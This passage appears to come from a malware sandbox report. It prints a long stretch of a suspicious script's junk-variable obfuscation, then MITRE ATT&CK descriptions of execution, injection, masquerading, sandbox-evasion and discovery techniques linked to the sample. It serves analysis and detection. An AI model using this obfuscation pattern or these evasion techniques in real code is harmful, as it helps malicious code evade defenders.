510	zdodlcpke = "W";
511	zdodlcpke = "A";
512	zdodlcpke = "h";
513	zdodlcpke = "x";
514	ayfvp = "R";
515	ayfvp = "V";
516	ayfvp = "s";
517	ayfvp = "P";
518	ayfvp = "c";
519	ayfvp = "S";
520	ayfvp = "E";
521	ayfvp = "i";
522	ayfvp = "w";
523	ayfvp = "U";
524	ayfvp = "T";
525	ayfvp = "f";
526	ayfvp = "z";
527	ayfvp = "d";
528	ayfvp = "c";
529	ayfvp = "7";
530	mcomknevo = "f";
531	mcomknevo = "m";
532	mcomknevo = "j";
533	mcomknevo = "U";
534	mcomknevo = "t";
535	mcomknevo = "a";
536	mcomknevo = "v";
537	mcomknevo = "Z";
538	mcomknevo = "A";
539	mcomknevo = "f";
540	mcomknevo = "E";
541	mcomknevo = "E";
542	mcomknevo = "X";
543	mcomknevo = "K";
544	mcomknevo = "D";
545	mcomknevo = "n";
546	mcomknevo = "V";
547	mcomknevo = "g";
548	mcomknevo = "f";
549	mcomknevo = "j";
550	mcomknevo = "P";
551	mcomknevo = "x";
552	mcomknevo = "e";
553	mcomknevo = "l";
554	mcomknevo = "u";
555	mcomknevo = "H";
556	mcomknevo = "3";
557	nivcm = "A";
558	nivcm = "v";
559	nivcm = "O";
560	nivcm = "I";
561	nivcm = "0";
562	qfusbmpii = "y";
563	qfusbmpii = "E";
564	qfusbmpii = "A";
565	qfusbmpii = "p";
566	qfusbmpii = "B";
567	qfusbmpii = "I";
568	qfusbmpii = "I";
569	qfusbmpii = "I";
570	qfusbmpii = "Q";
571	qfusbmpii = "T";
572	qfusbmpii = "e";
573	qfusbmpii = "K";
574	qfusbmpii = "M";
575	qfusbmpii = "r";
576	qfusbmpii = "g";
577	qfusbmpii = "u";
578	qfusbmpii = "Y";
579	qfusbmpii = "S";
580	qfusbmpii = "V";
581	qfusbmpii = "W";
582	qfusbmpii = "F";
583	qfusbmpii = "J";
584	qfusbmpii = "x";
585	qfusbmpii = "q";
586	qfusbmpii = "h";
587	qfusbmpii = "p";
588	qfusbmpii = "c";
589	qfusbmpii = "z";
590	qfusbmpii = "w";
591	qfusbmpii = "z";
592	qfusbmpii = "c";
593	qfusbmpii = "K";
594	cohfhx = "Y";
595	cohfhx = "D";
596	cohfhx = "w";
597	cohfhx = "C";
598	cohfhx = "O";
599	cohfhx = "f";
600	cohfhx = "P";
601	cohfhx = "J";
602	cohfhx = "c";
603	cohfhx = "L";
604	cohfhx = "W";
605	cohfhx = "z";
606	cohfhx = "w";
607	cohfhx = "D";
608	cohfhx = "o";
609	cohfhx = "H";
610	cohfhx = "h";
611	cohfhx = "g";
612	cohfhx = "U";
613	cohfhx = "Y";
614	jjiuhlm = "I";
615	jjiuhlm = "B";
616	jjiuhlm = "i";
617	jjiuhlm = "F";
618	jjiuhlm = "r";
619	jjiuhlm = "V";
620	jjiuhlm = "Y";
621	jjiuhlm = "c";
622	jjiuhlm = "i";
623	jjiuhlm = "z";
624	jjiuhlm = "u";
625	jjiuhlm = "q";
626	jjiuhlm = "r";
627	jjiuhlm = "R";
628	jjiuhlm = "Z";
629	jjiuhlm = "s";
630	jjiuhlm = "d";
631	jjiuhlm = "l";
632	jjiuhlm = "w";
633	jjiuhlm = "c";
634	ltplxr = "H";
635	ltplxr = "O";
636	ltplxr = "p";
637	ltplxr = "g";
638	ltplxr = "J";
639	ltplxr = "I";
640	ltplxr = "Z";
641	ltplxr = "p";
642	ltplxr = "O";
643	ltplxr = "C";
644	ltplxr = "x";
645	ltplxr = "H";
646	vfpnvlq = "m";
647	vfpnvlq = "B";
648	vfpnvlq = "H";
649	vfpnvlq = "W";
650	vfpnvlq = "y";
651	vfpnvlq = "X";
652	vfpnvlq = "E";
653	vfpnvlq = "F";
654	vfpnvlq = "V";
655	vfpnvlq = "f";
656	vfpnvlq = "b";
657	vfpnvlq = "U";
658	vfpnvlq = "F";
659	vfpnvlq = "Q";
660	vfpnvlq = "n";
661	vfpnvlq = "b";
662	vfpnvlq = "u";
663	vfpnvlq = "U";
664	vfpnvlq = "R";
665	vfpnvlq = "s";
666	vfpnvlq = "F";
667	vfpnvlq = "Y";
668	vfpnvlq = "C";
669	vfpnvlq = "g";
670	vfpnvlq = "D";
671	vfpnvlq = "E";
672	vfpnvlq = "d";
673	vfpnvlq = "a";
674	vfpnvlq = "N";
675	vfpnvlq = "G";
676	vfpnvlq = "y";
677	vfpnvlq = "V";
678	vfpnvlq = "o";
679	vfpnvlq = "X";
680	vfpnvlq = "S";
681	vfpnvlq = "h";
682	vfpnvlq = "g";
683	vfpnvlq = "A";
684	vfpnvlq = "m";
685	vfpnvlq = "H";
686	vfpnvlq = "g";
687	vfpnvlq = "w";
688	vfpnvlq = "v";
689	vfpnvlq = "f";
690	ionfofa = "L";
691	ionfofa = "r";
692	ionfofa = "h";
693	ionfofa = "t";
694	ionfofa = "H";
695	ionfofa = "e";
696	ionfofa = "b";
697	ionfofa = "W";
698	ionfofa = "w";
699	ionfofa = "a";
700	ionfofa = "J";
701	ionfofa = "U";
702	ionfofa = "V";
703	ionfofa = "y";
704	ionfofa = "J";
705	ionfofa = "M";
706	ionfofa = "i";
707	ionfofa = "h";
708	ionfofa = "C";
709	ionfofa = "v";
710	ionfofa = "v";
711	ionfofa = "X";
712	ionfofa = "P";
713	ionfofa = "w";
714	ionfofa = "T";
715	ionfofa = "Z";
716	ionfofa = "Z";
717	ionfofa = "i";
718	ionfofa = "B";
719	ionfofa = "M";
720	ionfofa = "s";
721	ionfofa = "D";
722	ionfofa = "e";
723	ionfofa = "p";
724	ionfofa = "T";
725	luoord = "z";
726	luoord = "h";
727	luoord = "G";
728	luoord = "A";
729	luoord = "K";
730	luoord = "w";
731	luoord = "B";
732	luoord = "G";
733	luoord = "N";
734	luoord = "m";
735	luoord = "z";
736	luoord = "e";
737	pcfsu = "I";
738	pcfsu = "Z";
739	pcfsu = "p";
740	pcfsu = "N";
741	pcfsu = "A";
742	pcfsu = "O";
743	pcfsu = "B";
744	pcfsu = "a";
745	pcfsu = "n";
746	pcfsu = "a";
747	pcfsu = "Q";
748	pcfsu = "R";
749	pcfsu = "j";
750	pcfsu = "M";
751	pcfsu = "V";
752	pcfsu = "v";
753	pcfsu = "C";
754	pcfsu = "z";
755	pcfsu = "e";
756	pcfsu = "q";
757	pcfsu = "o";
758	pcfsu = "V";
759	pcfsu = "S";
760	pcfsu = "l";
761	pcfsu = "e";
762	pcfsu = "E";
763	pcfsu = "L";
764	pcfsu = "a";
765	pcfsu = "t";
766	pcfsu = "N";
767	pcfsu = "c";
768	pcfsu = "2";
769	litidfvba = "u";
770	litidfvba = "u";
771	litidfvba = "d";
772	litidfvba = "s";
773	litidfvba = "v";
774	litidfvba = "X";
775	litidfvba = "K";
776	litidfvba = "b";
777	cgfxk = "C";
778	cgfxk = "H";
779	cgfxk = "K";
780	cgfxk = "X";
781	cgfxk = "U";
782	cgfxk = "Q";
783	cgfxk = "E";
784	cgfxk = "j";
785	cgfxk = "G";
786	cgfxk = ".";
787	adrcu = "N";
788	adrcu = "J";
789	adrcu = "R";
790	adrcu = "G";
791	adrcu = "D";
792	adrcu = "y";
793	adrcu = "b";
794	adrcu = "N";
795	adrcu = "E";
796	adrcu = "N";
797	adrcu = "v";
798	adrcu = "i";
799	adrcu = "d";
800	adrcu = "g";
801	adrcu = "T";
802	adrcu = "i";
803	adrcu = "F";
804	adrcu = "u";
805	adrcu = "p";
806	adrcu = "G";
807	adrcu = "Y";
808	adrcu = "v";
809	adrcu = "G";
810	adrcu = "C";
811	adrcu = "I";
812	adrcu = "u";
813	adrcu = "N";
814	adrcu = "t";
815	adrcu = "B";
816	adrcu = "w";
817	adrcu = "l";
818	adrcu = "D";
819	adrcu = "q";
820	adrcu = "j";
821	adrcu = "C";
822	adrcu = "B";
823	adrcu = "v";
824	adrcu = "h";
825	adrcu = "f";
826	adrcu = "M";
827	adrcu = "t";
828	adrcu = "S";
829	adrcu = "d";
830	wwlpybap = "g";
831	wwlpybap = "P";
832	wwlpybap = "o";
833	wwlpybap = "c";
834	wwlpybap = "G";
835	wwlpybap = "h";
836	wwlpybap = "j";
837	wwlpybap = "u";
838	wwlpybap = "v";
839	wwlpybap = "p";
840	wwlpybap = "H";
841	wwlpybap = "S";
842	wwlpybap = "Q";
843	wwlpybap = "z";
844	wwlpybap = "n";
845	wwlpybap = "P";
846	wwlpybap = "F";
847	wwlpybap = "G";
848	wwlpybap = "t";
849	wwlpybap = "F";
850	wwlpybap = "B";
851	wwlpybap = "x";
852	wwlpybap = "G";
853	wwlpybap = "_";
854	wyvpllmgv = "M";
855	wyvpllmgv = "v";
856	wyvpllmgv = "b";
857	wyvpllmgv = "p";
858	wyvpllmgv = "G";
859	wyvpllmgv = "D";
860	wyvpllmgv = "B";
861	wyvpllmgv = "Q";
862	wyvpllmgv = "j";
863	wyvpllmgv = "s";
864	wyvpllmgv = "M";
865	wyvpllmgv = "B";
866	wyvpllmgv = "U";
867	wyvpllmgv = "x";
868	wyvpllmgv = "D";
869	wyvpllmgv = "y";
870	wyvpllmgv = "d";
871	wyvpllmgv = "q";
872	wyvpllmgv = "r";
873	wyvpllmgv = "k";
874	wyvpllmgv = "g";
875	wyvpllmgv = "s";
876	wyvpllmgv = "H";
877	wyvpllmgv = "a";
878	wyvpllmgv = "E";
879	wyvpllmgv = "V";
880	wyvpllmgv = "a";
881	wyvpllmgv = "w";
882	wyvpllmgv = "v";
883	wyvpllmgv = "A";
884	wyvpllmgv = "O";
885	wyvpllmgv = "P";
886	wyvpllmgv = "U";
887	wyvpllmgv = "B";
888	wyvpllmgv = "D";
889	wyvpllmgv = "j";
890	wyvpllmgv = "b";
891	wyvpllmgv = "g";
892	wyvpllmgv = "N";
893	pkrpns = "g";
894	pkrpns = "m";
895	pkrpns = "Y";
896	pkrpns = "l";
897	pkrpns = "o";
898	pkrpns = "D";
899	pkrpns = "C";
900	pkrpns = "u";
901	pkrpns = "s";
902	pkrpns = "S";
903	pkrpns = "l";
904	pkrpns = "z";
905	pkrpns = "Y";
906	pkrpns = "X";
907	pkrpns = "U";
908	pkrpns = "x";
909	pkrpns = "H";
910	pkrpns = "I";
911	pkrpns = "e";
912	pkrpns = "a";
913	pkrpns = "m";
914	pkrpns = "X";
915	pkrpns = "t";
916	nwghih = "z";
917	nwghih = "k";
918	nwghih = "p";
919	nwghih = "G";
920	nwghih = "v";
921	nwghih = "w";
922	nwghih = "H";
923	nwghih = "P";
924	nwghih = "l";
925	nwghih = "g";
926	nwghih = "C";
927	nwghih = "b";
928	nwghih = "Q";
929	nwghih = "y";
930	nwghih = "G";
931	nwghih = "G";
932	nwghih = "n";
933	nwghih = "p";
934	nwghih = "e";
935	nwghih = "v";
936	nwghih = "b";
937	nwghih = "g";
938	nwghih = "G";
939	nwghih = "T";
940	nwghih = "X";
941	nwghih = "M";
942	nwghih = "i";
943	nwghih = "P";
944	nwghih = "n";
945	nwghih = "K";
946	nwghih = "w";
947	nwghih = "d";
948	nwghih = "r";
949	nwghih = "J";
950	nwghih = "q";
951	pqcdj = "m";
952	pqcdj = "A";
953	pqcdj = "n";
954	pqcdj = "L";
955	pqcdj = "B";
956	pqcdj = "M";
957	pqcdj = "o";
958	pqcdj = "r";
959	pqcdj = "R";
960	pqcdj = "a";
961	kvrfddbmh = "o";
962	kvrfddbmh = "e";
963	kvrfddbmh = "q";
964	kvrfddbmh = "S";
965	kvrfddbmh = "V";
966	kvrfddbmh = "p";
967	kvrfddbmh = "e";
968	kvrfddbmh = "Q";
969	kvrfddbmh = "C";
970	kvrfddbmh = "B";
971	kvrfddbmh = "S";
972	kvrfddbmh = "O";
973	kvrfddbmh = "r";
974	kvrfddbmh = "w";
975	kvrfddbmh = "N";
976	kvrfddbmh = "P";
977	kvrfddbmh = "Y";
978	kvrfddbmh = "j";
979	kvrfddbmh = "e";
980	kvrfddbmh = "h";
981	kvrfddbmh = "O";
982	kvrfddbmh = "E";
983	tehvodkh = "I";
984	hqutlh = "u";
985	hqutlh = "j";
986	hqutlh = "Z";
987	hqutlh = "w";
988	hqutlh = "Y";
989	hqutlh = "n";
990	hqutlh = "K";
991	hqutlh = "i";
992	hqutlh = "v";
993	hqutlh = "d";
994	hqutlh = "H";
995	hqutlh = "v";
996	hqutlh = "q";
997	hqutlh = "v";
998	hqutlh = "C";
999	hqutlh = "v";
1000	hqutlh = "B";
1001	hqutlh = "F";
1002	phgkv = "Z";
1003	phgkv = "A";
1004	phgkv = "Q";
1005	phgkv = "E";
1006	phgkv = "T";
1007	phgkv = "X";
1008	phgkv = "J";
1009	phgkv = "s";
1010	phgkv = "F";
1011	phgkv = "D";
1012	phgkv = "w";
1013	phgkv = "L";
1014	phgkv = "S";
1015	phgkv = "q";
1016	phgkv = "P";
1017	phgkv = "X";
1018	phgkv = "v";
1019	phgkv = "V";
1020	phgkv = "u";
1021	phgkv = "m";
1022	phgkv = "j";
1023	phgkv = "E";
1024	phgkv = "i";
1025	phgkv = "E";
1026	phgkv = "s";
1027	phgkv = "O";
1028	phgkv = "D";
1029	phgkv = "\"";
1030	oggri = "w";
1031	oggri = "G";
1032	oggri = "E";
1033	oggri = "j";
1034	oggri = "y";
1035	oggri = "H";
1036	oggri = "D";
1037	oggri = "E";
1038	oggri = "t";
1039	oggri = "U";
1040	oggri = "k";
1041	oggri = "n";
1042	oggri = "g";
1043	vfuzxmk = "F";
1044	vfuzxmk = "C";
1045	vfuzxmk = "j";
1046	vfuzxmk = "H";
1047	vfuzxmk = "P";
1048	vfuzxmk = "k";
1049	vfuzxmk = "x";
1050	vfuzxmk = "m";
1051	vfuzxmk = "E";
1052	vfuzxmk = "a";
1053	vfuzxmk = "K";
1054	vfuzxmk = "m";
1055	vfuzxmk = "N";
1056	vfuzxmk = "P";
1057	vfuzxmk = "d";
1058	vfuzxmk = "J";
1059	vfuzxmk = "f";
1060	vfuzxmk = "d";
1061	vfuzxmk = "L";
1062	vfuzxmk = "-";
1063	gpkxcsv = "o";
1064	gpkxcsv = "z";
1065	gpkxcsv = "I";
1066	gpkxcsv = "W";
1067	gpkxcsv = "I";
1068	gpkxcsv = "j";
1069	gpkxcsv = "M";
1070	gpkxcsv = "N";
1071	gpkxcsv = "S";
1072	gpkxcsv = "y";
1073	gpkxcsv = "x";
1074	gpkxcsv = "v";
1075	gpkxcsv = "q";
1076	gpkxcsv = "O";
1077	gpkxcsv = "i";
1078	gpkxcsv = "y";
1079	gpkxcsv = "C";
1080	gpkxcsv = "x";
1081	gpkxcsv = "i";
1082	gpkxcsv = "Y";
1083	gpkxcsv = "v";
1084	gpkxcsv = "h";
1085	gpkxcsv = "X";
1086	gpkxcsv = "H";
1087	gpkxcsv = "J";
1088	gpkxcsv = "e";
1089	gpkxcsv = "T";
1090	gpkxcsv = "e";
1091	gpkxcsv = "k";
1092	eihdab = "O";
1093	eihdab = "w";
1094	eihdab = "A";
1095	eihdab = "e";
1096	eihdab = "H";
1097	eihdab = "v";
1098	eihdab = "s";
1099	eihdab = "l";
1100	eihdab = "d";
1101	eihdab = "V";
1102	eihdab = "h";
1103	eihdab = "z";
1104	eihdab = "Q";
1105	eihdab = "o";
1106	eihdab = "t";
1107	eihdab = "e";
1108	eihdab = "k";
1109	eihdab = "K";
1110	eihdab = "V";
1111	eihdab = "w";
1112	eihdab = "r";
1113	eihdab = "c";
1114	eihdab = "s";
1115	eihdab = "U";
1116	eihdab = "y";
1117	eihdab = "Y";
1118	eihdab = "i";
1119	eihdab = "e";
1120	eihdab = "@";
1121	wuivanik = "v";
1122	wuivanik = "o";
1123	wuivanik = "Q";
1124	wuivanik = "Q";
1125	wuivanik = "s";
1126	wuivanik = "L";
1127	wuivanik = "F";
1128	wuivanik = "Z";
1129	wuivanik = "N";
1130	wuivanik = "g";
1131	wuivanik = "W";
1132	wuivanik = "o";
1133	wuivanik = "U";
1134	wuivanik = "V";
1135	wuivanik = "U";
1136	wuivanik = "Q";
1137	wuivanik = "w";
1138	wuivanik = "z";
1139	wuivanik = "U";
1140	wuivanik = "w";
1141	wuivanik = "h";
1142	wuivanik = "M";
1143	wuivanik = "P";
1144	mrpkh = "X";
1145	mrpkh = "l";
1146	mrpkh = "k";
1147	mrpkh = "L";
1148	mrpkh = "n";
1149	mrpkh = "S";
1150	mrpkh = "P";
1151	mrpkh = "S";
1152	mrpkh = "x";
1153	mrpkh = "e";
1154	mrpkh = "v";
1155	mrpkh = "V";
1156	mrpkh = "X";
1157	mrpkh = "P";
1158	mrpkh = "m";
1159	mrpkh = "%";
1160	ctjvegd = "O";
1161	ctjvegd = "G";
1162	ctjvegd = "h";
1163	ctjvegd = "a";
1164	ctjvegd = "C";
1165	ctjvegd = "M";
1166	ctjvegd = "Z";
1167	ctjvegd = "n";
1168	ctjvegd = "Y";
1169	ctjvegd = "Y";
1170	ctjvegd = "H";
1171	ctjvegd = "E";
1172	ctjvegd = "G";
1173	ctjvegd = "J";
1174	ctjvegd = "T";
1175	ctjvegd = "e";
1176	ctjvegd = "B";
1177	ctjvegd = "h";
1178	wquyu = "h";
1179	wquyu = "v";
1180	wquyu = "R";
1181	wquyu = "u";
1182	wquyu = "J";
1183	wquyu = "u";
1184	wquyu = "d";
1185	wquyu = "D";
1186	wquyu = "M";
1187	wquyu = "g";
1188	wquyu = "h";
1189	wquyu = "Y";
1190	wquyu = "a";
1191	wquyu = "q";
1192	wquyu = "I";
1193	wquyu = "N";
1194	wquyu = "o";
1195	wquyu = "j";
1196	wquyu = "u";
1197	wquyu = "R";
1198	wquyu = "L";
1199	wquyu = "t";
1200	wquyu = "E";
1201	wquyu = "g";
1202	wquyu = "R";
1203	wquyu = "s";
1204	wquyu = "e";
1205	wquyu = "S";
1206	wquyu = "F";
1207	wquyu = "f";
1208	wquyu = "C";
1209	wquyu = "G";
1210	wquyu = "B";
1211	wquyu = "J";
1212	wquyu = "s";
1213	wquyu = "e";
1214	wquyu = "U";
1215	wquyu = "J";
1216	wquyu = "x";
1217	wquyu = "c";
1218	wquyu = "M";
1219	wquyu = "w";
1220	jhibjpuz = "I";
1221	jhibjpuz = "d";
1222	jhibjpuz = "M";
1223	jhibjpuz = "I";
1224	jhibjpuz = "R";
1225	jhibjpuz = "H";
1226	jhibjpuz = "M";
1227	jhibjpuz = "Y";
1228	jhibjpuz = "j";
1229	jhibjpuz = "w";
1230	jhibjpuz = "Y";
1231	jhibjpuz = "A";
1232	jhibjpuz = "C";
1233	jhibjpuz = "L";
1234	jhibjpuz = "b";
1235	jhibjpuz = "Y";
1236	jhibjpuz = "D";
1237	jhibjpuz = "j";
1238	jhibjpuz = "s";
1239	jhibjpuz = "i";
1240	jhibjpuz = "D";
1241	jhibjpuz = "d";
1242	jhibjpuz = "p";
1243	jhibjpuz = "K";
1244	jhibjpuz = "U";
1245	jhibjpuz = "x";
1246	jhibjpuz = "f";
1247	jhibjpuz = "M";
1248	jhibjpuz = "A";
1249	jhibjpuz = "N";
1250	jhibjpuz = "F";
1251	jhibjpuz = "q";
1252	jhibjpuz = "R";
1253	jhibjpuz = "d";
1254	jhibjpuz = "x";
1255	jhibjpuz = "O";
1256	jhibjpuz = "j";
1257	jhibjpuz = "X";
1258	jhibjpuz = "9";
1259	xwbafpyt = "V";
1260	xwbafpyt = "I";
1261	xwbafpyt = "u";
1262	xwbafpyt = "m";
1263	xwbafpyt = "q";
1264	xwbafpyt = "v";
1265	xwbafpyt = "d";
1266	xwbafpyt = "W";
1267	xwbafpyt = "N";
1268	xwbafpyt = "z";
1269	xwbafpyt = "Y";
1270	xwbafpyt = "w";
1271	xwbafpyt = "m";
1272	xwbafpyt = "r";
1273	xwbafpyt = "h";
1274	xwbafpyt = "/";
1275	iztzbxhf = "F";
1276	iztzbxhf = "N";
1277	iztzbxhf = "y";
1278	iztzbxhf = "Y";
1279	iztzbxhf = "W";
1280	iztzbxhf = "N";
1281	iztzbxhf = "c";
1282	iztzbxhf = "n";
1283	iztzbxhf = "I";
1284	iztzbxhf = "M";
1285	iztzbxhf = "R";
1286	iztzbxhf = "Y";
1287	iztzbxhf = "B";
1288	iztzbxhf = "C";
1289	iztzbxhf = "d";
1290	iztzbxhf = "S";
1291	iztzbxhf = "f";
1292	iztzbxhf = "p";
1293	iztzbxhf = "o";
1294	qpccqrv = "a";
1295	qpccqrv = "Z";
1296	qpccqrv = "A";
1297	qpccqrv = "W";
1298	qpccqrv = "W";
1299	qpccqrv = "a";
1300	qpccqrv = "U";
1301	qpccqrv = "C";
1302	qpccqrv = "Z";
1303	qpccqrv = "D";
1304	qpccqrv = "m";
1305	qpccqrv = "w";
1306	qpccqrv = "E";
1307	qpccqrv = "l";
1308	qpccqrv = "N";
1309	qpccqrv = "l";
1310	qpccqrv = "y";
1311	qpccqrv = "b";
1312	qpccqrv = "L";
1313	qpccqrv = "t";
1314	qpccqrv = "i";
1315	qpccqrv = "n";
1316	hvogsug = "N";
1317	hvogsug = "s";
1318	hvogsug = "b";
1319	hvogsug = "O";
1320	hvogsug = "J";
1321	hvogsug = "D";
1322	hvogsug = "X";
1323	hvogsug = "E";
1324	hvogsug = "z";
1325	hvogsug = "a";
1326	hvogsug = "B";
1327	hvogsug = "K";
1328	hvogsug = "g";
1329	hvogsug = "y";
1330	hvogsug = "T";
1331	hvogsug = "x";
1332	hvogsug = "i";
1333	hvogsug = "Y";
1334	hvogsug = "W";
1335	hvogsug = "O";
1336	hvogsug = "Z";
1337	hvogsug = "J";
1338	hvogsug = "q";
1339	hvogsug = "q";
1340	hvogsug = "s";
1341	hvogsug = "D";
1342	hvogsug = "H";
1343	hvogsug = "c";
1344	hvogsug = "k";
1345	hvogsug = "v";
1346	hvogsug = "X";
1347	hvogsug = "m";
1348	kxawv = "t";
1349	kxawv = "w";
1350	kxawv = "N";
1351	kxawv = "E";
1352	kxawv = "t";
1353	kxawv = "f";
1354	kxawv = "P";
1355	kxawv = "p";
1356	kxawv = "B";
1357	kxawv = "e";
1358	kxawv = "m";
1359	kxawv = "M";
1360	kxawv = "l";
1361	kxawv = "m";
1362	kxawv = "z";
1363	kxawv = "M";
1364	kxawv = "X";
1365	kxawv = "t";
1366	kxawv = "M";
1367	kxawv = "e";
1368	kxawv = "t";
1369	kxawv = "g";
1370	kxawv = "E";
1371	kxawv = "B";
1372	kxawv = "w";
1373	kxawv = "S";
1374	kxawv = "w";
1375	kxawv = "k";
1376	kxawv = "u";
1377	kxawv = "C";
1378	kxawv = "g";
1379	kxawv = "H";
1380	kxawv = "o";
1381	kxawv = "O";
1382	kxawv = "R";
1383	kjjikzc = "w";
1384	kjjikzc = "F";
1385	kjjikzc = "V";
1386	kjjikzc = "f";
1387	kjjikzc = "v";
1388	kjjikzc = "L";
1389	kjjikzc = "i";
1390	kjjikzc = "q";
1391	kjjikzc = "j";
1392	kjjikzc = "a";
1393	kjjikzc = "e";
1394	kjjikzc = "s";
1395	kjjikzc = "e";
1396	kjjikzc = "A";
1397	kjjikzc = "G";
1398	kjjikzc = "n";
1399	kjjikzc = "L";
1400	kjjikzc = "n";
1401	kjjikzc = "j";
1402	uqbyglcnb = "t";
1403	uqbyglcnb = "s";
1404	uqbyglcnb = "X";
1405	uqbyglcnb = "l";
1406	uqbyglcnb = "w";
1407	uqbyglcnb = "L";
1408	uqbyglcnb = "z";
1409	uqbyglcnb = "G";
1410	uqbyglcnb = "X";
1411	uqbyglcnb = "z";
1412	uqbyglcnb = "I";
1413	uqbyglcnb = "i";
1414	uqbyglcnb = "U";
1415	uqbyglcnb = "Q";
1416	uqbyglcnb = "l";
1417	uqbyglcnb = "b";
1418	uqbyglcnb = "t";
1419	uqbyglcnb = "8";
1420	vqwkkfay = "Q";
1421	vqwkkfay = "f";
1422	vqwkkfay = "v";
1423	mmrtloeia ( );	mmrtloeia() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
